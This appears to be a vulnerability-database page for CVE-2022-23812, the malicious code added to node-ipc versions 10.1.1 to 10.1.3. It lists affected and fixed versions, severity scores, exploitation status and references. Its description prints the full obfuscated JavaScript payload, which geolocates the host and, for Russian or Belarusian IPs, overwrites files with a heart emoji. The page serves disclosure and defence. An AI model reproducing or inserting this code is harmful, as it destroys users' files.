Home / node-ipc / node-ipc / CVE-2022-23812
CVE-2022-23812: is it exploited, and which versions of node-ipc are affected and fixed?
CVE-2022-23812 is an embedded Malicious Code vulnerability in node-ipc. It is not known to be exploited: it is not in CISA's Known Exploited Vulnerabilities catalog (catalog 2026.11.30, read December 3, 2026, 15:39 UTC). Affected: node-ipc from 10.1.1 before 10.1.3 (GitHub advisory GHSA-97m3-w2cp-4xx6). Fixed in 10.1.3 (GitHub advisory GHSA-97m3-w2cp-4xx6). Severity: Critical (9.8, CVSS 3.1, from snyk).
Data checked December 3, 2026: last read CISA KEV December 3, 2026, 15:39 UTC, CVE record November 28, 2026, 19:47 UTC and NVD November 19, 2026, 07:50 UTC.
What is CVE-2022-23812?
Malicious Package
This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from "path"; import a from "fs"; import o from "https"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString("utf8"), function (t) { t.on("data", function (t) { const n = Buffer.from("Li8=", "base64"); const o = Buffer.from("Li4v", "base64"); const r = Buffer.from("Li4vLi4v", "base64"); const f = Buffer.from("Lw==", "base64"); const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); const e = Buffer.from("cnVzc2lh", "base64"); const i = Buffer.from("YmVsYXJ1cw==", "base64"); try { const s = JSON.parse(t.toString("utf8")); const u = s[c.toString("utf8")].toLowerCase(); const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8")); // checks if country is Russia or Belarus if (a) { h(n.toString("utf8")); h(o.toString("utf8")); h(r.toString("utf8")); h(f.toString("utf8")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = "", o = "") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from("4p2k77iP", "base64"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString("utf8"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };
From the CVE record by snyk, last updated September 16, 2024, 22:19 UTC.
Which versions are affected, and which fix it?
| Vendor | Product | Affected | Fixed or not affected from |
|---|---|---|---|
| node-ipc | from 10.1.1 before unspecified before 10.1.3 | unspecified, 10.1.3 |
As the CVE record by snyk states it, last updated September 16, 2024. Version ranges are the CNA's; a version the record calls not affected is usually the fix.
Which packages are affected, and in which version is each fixed?
| Ecosystem | Package | Affected | Fixed in | Advisory |
|---|---|---|---|---|
| npm | node-ipc | >= 10.1.1, < 10.1.3 | 10.1.3 | GHSA-97m3-w2cp-4xx6 |
GitHub Advisory Database, reviewed advisories (CC BY 4.0); advisory updated March 25, 2022. Summary: Embedded Malicious Code in node-ipc.
Which products and versions does the NVD list as affected?
| Vendor | Product | Versions | Type |
|---|---|---|---|
| node-ipc project | node-ipc | from 10.1.1 before 10.1.3 | application |
| node-ipc project | node-ipc | from 11.0.0 | application |
NVD analysis (status Modified), last modified June 17, 2026, 04:30 UTC.
How severe is CVE-2022-23812?
| Score | Version | Vector | Source |
|---|---|---|---|
| Critical 9.8 | CVSS 3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H | snyk |
| Critical 9.8 | CVSS 3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | NVD |
| High 10.0 | CVSS 2.0 | AV:N/AC:L/Au:N/C:C/I:C/A:C | NVD |
Each score is shown as its source gave it: the CNA that wrote the record, CISA's ADP (vulnrichment) and the NVD. They can differ.
What the ratings mean: in CVSS 3 and 4, scores run from 0 to 10, with Low 0.1 to 3.9, Medium 4.0 to 6.9, High 7.0 to 8.9 and Critical 9.0 to 10.0. CVSS 2 has no Critical band: its High runs from 7.0 to 10.0. The vector lists how the flaw is reached (network, local), what an attacker needs (privileges, a user's click) and what it can harm.
Is CVE-2022-23812 exploited in the wild?
- CISA KEV
- Not listed (catalog 2026.11.30)
- EPSS
- 4.23% probability of exploitation activity in the next 30 days, percentile 91.3 (FIRST EPSS, scores of December 3, 2026)
What kind of flaw is it?
Where are the vendor advisories and references?
- https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370 x_refsource_MISC
- https://github.com/RIAEvangelist/node-ipc/issues/236 x_refsource_MISC
- https://github.com/RIAEvangelist/node-ipc/issues/233 x_refsource_MISC
- https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js x_refsource_MISC
- https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580 x_refsource_MISC
- https://security.netapp.com/advisory/ntap-20220407-0005/ x_refsource_CONFIRM
Who found and reported it?
- Unknown (finder)
As published in the CVE record; contact details are removed.
When was it published, and where is the official record?
- Reserved
- February 24, 2022
- Published
- March 16, 2022, 15:45 UTC
- CVE record updated
- September 16, 2024, 22:19 UTC by snyk
- NVD
- Modified, last modified June 17, 2026, 04:30 UTC
- Last checked
- CVE list November 28, 2026, 19:47 UTC; NVD November 19, 2026, 07:50 UTC; KEV December 3, 2026, 15:39 UTC; EPSS December 3, 2026
- Official record
- cve.org · NVD
Questions about CVE-2022-23812
Is CVE-2022-23812 exploited in the wild?
Not as far as CISA knows: it is not in the Known Exploited Vulnerabilities catalog, read December 3, 2026, 15:39 UTC. FIRST's EPSS gives it a 4.23% chance of exploitation activity in the next 30 days (scores of December 3, 2026).
Which versions of node-ipc are affected by CVE-2022-23812?
node-ipc from 10.1.1 before 10.1.3, per the GitHub advisory GHSA-97m3-w2cp-4xx6. The tables above give every range the sources list.
Which version fixes CVE-2022-23812?
10.1.3, per the GitHub advisory GHSA-97m3-w2cp-4xx6. Check the vendor's advisory before you rely on it.
How severe is CVE-2022-23812?
Critical (9.8, CVSS 3.1, from snyk). The severity table above shows each score with its source.
Where is the official record of CVE-2022-23812?
The CVE Program's record is at cve.org and the NVD's at nvd.nist.gov. For a fix, the vendor's own advisory is the one to follow.